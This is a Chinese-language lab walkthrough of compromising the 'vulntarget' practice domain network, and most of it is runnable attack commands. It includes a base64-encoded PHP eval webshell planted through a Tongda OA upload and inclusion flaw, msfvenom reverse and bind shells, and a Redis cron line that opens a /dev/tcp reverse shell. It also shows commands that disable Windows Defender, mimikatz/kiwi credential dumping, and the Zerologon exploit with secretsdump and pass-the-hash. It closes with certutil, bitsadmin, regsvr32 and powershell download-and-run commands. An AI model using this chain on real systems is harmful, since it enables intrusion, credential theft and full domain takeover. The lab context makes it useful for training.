最近玩了一下crow大表哥的靶场,觉得靶场打过之后确实是能用到很多技巧和知识,所以在这里做一些个人的学习总结,文章和靶场适合新人,因为不用做免杀,也可以让人初步的了解一下域环境
靶场由星期五实验室与乌鸦安全共同维护,GIthub可自行下载,Github原文链接以及原过程链接如下
https://github.com/crow821/vulntarget.
https://mp.weixin.qq.com/s/uxwbnVOxkR8OBkkY9WW6aQ.
链接: https://pan.baidu.com/s/195iUmvbaKOhtn2S_O-F6TA 提取码: jnkq
通达OA文件包含获取webshell
redis未授权访问写马
msfvenom生成正向连接、反向连接后门
msfconsole进行正向、反向连接
路由表的添加
设置代理
修改注册表利用wiki读取明文密码
cve-2020-1472获取域控权限
impacket包的简单利用
文件传输
添加防火墙出站规则(netsh advfirewall set allprofiles state off)
cobalt strike的简单使用
kali攻击机:
192.168.10.39
win7双网卡
开机密码 admin
网卡1:192.168.10.38(此ip不固定,重启就会变化)
网卡2:10.0.20.98
win2016双网卡
开机密码 Admin#123
网卡1:10.0.10.111
网卡2:10.0.20.99
win2019
开机密码 Admin@666
网卡1:10.0.10.110
通达OA文件包含+未授权GETSHELL
写上传脚本,用来未授权上传图片马,命名为1.html
<html>
<body>
<form action="http://192.168.10.38/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
<?php
$fn = fopen("2.php","w+");
$st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");
$result = fwrite($fn,$st);
fclose($fn);
?>
图片马命名为2.jpg
访问1.html,并上传2.jpg,如下图
因为直接写敏感的函数会触发500错误,需要进行base64绕一下文件包含操作如下,上传图片马2.jpg后访问
http://192.168.43.235/ispirit/interface/gateway.php
body
json={"url":"/general/../../attach/im/2203/6758580332.2.jpg"}
文件包含成功后,可直接连接小马
http://192.168.10.38/ispirit/interface/2.php
密码为123456
使用蚁剑链接成功
使用msf生成反向连接马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.39 LPORT=1001 -f exe > /root/1001.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.10.39
set lport 1001
run
run get_local_subnets
run autoroute -s 10.0.20.0/24
或者
bg(background)
use post/multi/manage/autoroute
set session 1
run
run autoroute -p
bg
use auxiliary/server/socks_proxy
options
run
use auxiliary/server/socks4a
set srvport 9999
run
手动添加代理
vim /etc/proxychains4.conf
老版本的是
vim /etc/proxychains.conf
arp -a
扫描端口,偷一下懒(新版本kali与老版本kali都可以使用这个命令)
proxychains nmap -Pn -sT 10.0.20.99 -p 6000-6400
proxychains4 nmap -v -n -Pn -p 6379 -sV --script redis-info 10.0.20.99
redis未授权访问
疑似存在redis未授权访问,直接连接
proxychains4 redis-cli -h 10.0.20.99
连接成功
利用Redis写入Webshell,前提是目标机器开启Web服务,并且需要知道⽹站路径,还需要具有⽂件读写权限,总体利用起来还是很困难的;这里我推荐直接bash反弹
nc -lvp 7777
set x "\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.43.39/7777 0>&1\n"
config set dir /var/spool/cron
config set dbfilename root
save
啊偶,尴尬,这是windows,他没有nc.exe是不能像linux一样直接反弹bash的
CONFIG GET dir 也仅能看到安装路径。。。
search redis
use 6
半天没动静,失败了
只能说用人家的了,redis写马,但是其实是不知道路径的,这就很难受,假装路径是自己猜到的,不知道为啥,phpmyadmin没起来
proxychains4 redis-cli -h 10.0.20.99
config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename tx.php
set 1 "$_POST['tx']);?>"
save
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.20.98 LPORT=1002 -f exe > /root/1002.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.98
set lport 1002
run
死活不上线,查了下,代理、路由表都没问题,win7与win2016监听都已经监听到了1002端口
可以看见,win2016主机状态为syn_sent请求连接状态,若是达成ESTABLISHED状态则表示连接成功,若是有无数个syn_sent则可达到syn泛洪的一个状态,又是一个入狱小技巧,但是就是没连上,我真菜,妈的
正向连接成功
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1003 -f exe > 1003.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.20.99
set lport 1003
exploit -j -z
运行1003.exe后,上线成功
尝试读取密码
查看当前系统架构
查看进程,发现1003.exe与当前系统架构一致,无需进行进程迁移
若是当前马子架构与系统存在差异,可以进行进程迁移指令
migrate [PID]
加载kiwi模块 load kiwi
help kiwi
获取使用帮助,kiwi其实就是mimikatz增强版,由于当前权限就是system所以不用提权了
读取全部密码
好烦啊,由于是win2016,在2012版本就读不到明文密码了,除非修改注册表,这里读取到了NTLM HASH值
creds_all
如果想读取明文密码,需要修改注册表,同时得等用户下次输入密码才行,可以重启或者锁屏
临时禁止Windows Defender,防止防火墙报警
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpupdate /force
修改注册表开启UseLogonCredential
win2016方法:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭
win2012方法:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
锁屏:
rundll32.exe user32.dll,LockWorkStation
注销:
查询已登录用户的会话ID
query user
logoff ID
注销容易丢shell,慎用
嘻嘻嘻,成功读到,越来越刑了
查看win2016网卡
run get_local_subnets
run autoroute -s 10.0.10.0/24
run autoroute -p
run post/windows/gather/enum_domain
以前实验的时候,win2016权限的时候是可以定位到域控信息的,难道是因为现在是system权限导致无法定位域控?
附上一张我上次成功定位域控服务器的图,图有点模糊,wps是真的烦
vulntarget
win2019
10.0.10.110
若是在实际操作中,无法定位域控服务器,可以配合其它命令
net user /domain 获取当前域内所有用户,报错了,可能是权限不够
ipconfig /all
查看当前所有网络配置,找到当前域的DNS,一般DNS就是域控地址
net config workstation
查看当前登录情况
1.溢出
ms08_067
ms14-068 进行普通域用户提权为域管理员权限
cve-2020-1472等
2.DNS 溢出
DNS 服务器可能就是域控 so…
3.弱口令爆破
弱口令+已经控制的服务器口令+
将抓下的明文+一些常用弱口令。组合成字典去。
爆破局域网中存在数据库服务器的主机
4.键盘记录+3389 登入记录
这个记录了 在线管理员的 键盘记录~
keyscan_dump //进行键盘监控
运气好与管理员登陆过这台普通域用户的机子,直接mimikatz进行内存读密码就行
5.假冒令牌
在假冒攻击中 我们将盗取目标系统的一个 Kerberos 令牌,将其用在身份认证中。来假冒当初建立这个令牌的用户。为了能够获取到域管理员的凭证我们需要用域管理员登录一下远程桌面。
6.嗅探
7.ipc$
这里用到的漏洞是
CVE-2020-1472
首先我们这里需要用到python的一个impacket库,下载链接如下:
https://github.com/SecureAuthCorp/impacket.git
虽然知道2019存在该漏洞,但是在平时我们是不知道别人的主机是否安装了这个漏洞补丁的,所以先用poc看一下,poc链接如下:
https://github.com/SecuraBV/CVE-2020-1472
此处我们既然要利用该漏洞,就应该用exp将域控打空
exp如下:
https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py 域控主机名 域控IP
检测漏洞存在与否,特别慢,最后还没检测出来
proxychains python3 zerologon_tester.py win2019 10.0.10.110
proxychains python3 cve-2020-1472-exploit.py win2019 10.0.10.110
获取hash 进入impacket/examples
python3 secretsdump.py 域名称/域控主机名$@域控IP -no-pass
proxychains python3 secretsdump.py vulntarget/win2019\$@10.0.10.110 -no-pass
aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
可以使用smbexex/wmiexec.py
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 [email protected]
python3 wmiexec.py -hashes hash值 域名称/域控用户名@域控ip
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/[email protected]
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /fwmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
由于我没能获取到域控服务器的明文密码,并且使用hash直接登录远程桌面失败后,我想采取老办法,先传马子上线然后获取明文密码再远程,但是废了半天劲儿,文件传上去了,但是无论是cs、还是msf的正向反向,都上不去,所以只能说学习的路还很长
后来查了好多东西,原来是防火墙作祟。。。
上传马子的成功姿势如下
powershell (new-object System.Net.WebClient).DownloadFile(‘http://10.0.10.111/1001.exe’,‘c:\1001.exe’)
为了方便,我直接吧1001.exe上传到了win2016服务器的根路径,因为不需要我启动什么python服务,毕竟win2016是有小皮环境的
上传的话有很多种方式,但是试了一下,只有powershell好使
生成正向马子
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1005 -f exe > 1005.exe
smbexec.py获取域控权限后,执行以下命令
添加防火墙规则,虽然不知道这是啥玩意,但是应该是成功了
netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=1005 action=allow
上传文件,一定要注意,先将1005.exe小马上传至10.0.20.99服务器根路径
powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/1005.exe','c:\1005.exe')
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.10.110
set lport 1005
run
上线了
由于我这里用的是smbexec.py,所以上线的权限也是administrator权限
其它的方式在这里也简单的介绍一下,都是windows自带的
certutil
certutil -urlcache -split -f http://192.168.10.39/5.exe c:\1.exe
bitsadmin
bitsadmin /transfer n http://192.168.10.39/5.exe c:\1.exe
regsvr32
regsvr32 /u /s /i:http://192.168.10.39/5.exe scrobj.dll
Curl
curl http://192.168.10.39/5.exe
Wget
wget http://192.168.10.39/5.exe
nc就更不用说了,但是人家机器上没有
将生成的CS_1101.exe通过蚁剑上传至10.0.20.98(win7)服务器,而后执行
CS成功上线
上线第二台10.0.20.99(win2016)机器,需要重新建立一个正向监听
而后生成马子命名为CS_1103.exe
监听器选择Win2016
将生成的CS_1003.exe通过蚁剑上传至10.0.20.99(win2016)服务器,而后运行即可
此时CS未成功上线,需要使用10.0.20.98机器进行监听才行
connect 10.0.20.99 1103
如法炮制,再次建立一个监听器1104
生成与步骤二相同的马子CS_1104.exe而后上传至10.0.10.111服务器,再借鉴powershell命令进行下载至10.0.10.110服务器,并添加对应的防火墙规则,而后执行即可
powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/CS_1104.exe','c:\CS_1104.exe')
netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=1104 action=allow
conoect 10.0.10.110 1104